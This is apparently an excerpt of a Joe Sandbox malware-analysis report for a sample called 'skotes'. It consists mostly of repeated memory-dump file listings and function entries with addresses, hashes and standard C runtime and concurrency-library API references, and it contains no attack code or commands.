Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 095012abfb490d7d20542bfe1e912cbe6996147c83a6e699625c55943af70af8
Instruction ID: 51baa859472977812908ae5ccfc27c7190d792a3f6464e5f88335e773449d454
Opcode Fuzzy Hash: 095012abfb490d7d20542bfe1e912cbe6996147c83a6e699625c55943af70af8
Instruction Fuzzy Hash: 0A01F971201521FFCA367B64CDDAFAEB76ABF44710B09402EF80497611DF29EC6297A1

Function 007D33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007D33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 007D33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 007D3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007D341F

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 8280908a5f0a295b698685d779daa8b218b9b6c079efad2a53f2c1290dfacb50
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 6A01D132600514E7CF16EE658845EAFB7B9AF44350F10002AFC16AB382DA79EE0097A2

Function 007C9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 007C9519

Part of subcall function 007BF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 007C5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 007C953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 007C9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 007C9559

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 12518685480114a7bdece944a82261e3ff943cbfd9e519c2e77fd04b55b6d929
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: FCF0A731200E209EE6A2AB549819FAA23959F40711F00841EE51B972C2CE2CE942CB91

Function 007DF1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007DF232
__freea.LIBCMT ref: 007DF298

Strings

Z},m}, xrefs: 007DF1D2

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID: Z},m}
API String ID: 1635606685-16929842
Opcode ID: 76a3abc5d1f0a7dde77809b4eb295aa383e94fcb54e660eab89623d9f00f242d
Instruction ID: e504442ac087afe37cd167b5238a28f56797b6ddaa68b8425ec269001145db32
Opcode Fuzzy Hash: 76a3abc5d1f0a7dde77809b4eb295aa383e94fcb54e660eab89623d9f00f242d
Instruction Fuzzy Hash: 8031AF7190020AEBDB219F65CC45EAF7BB9FF41320F09412AF815AB351DB389D51C7A0

Function 007D1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 007D1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007D17AF

Strings

pContext, xrefs: 007D17A7

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
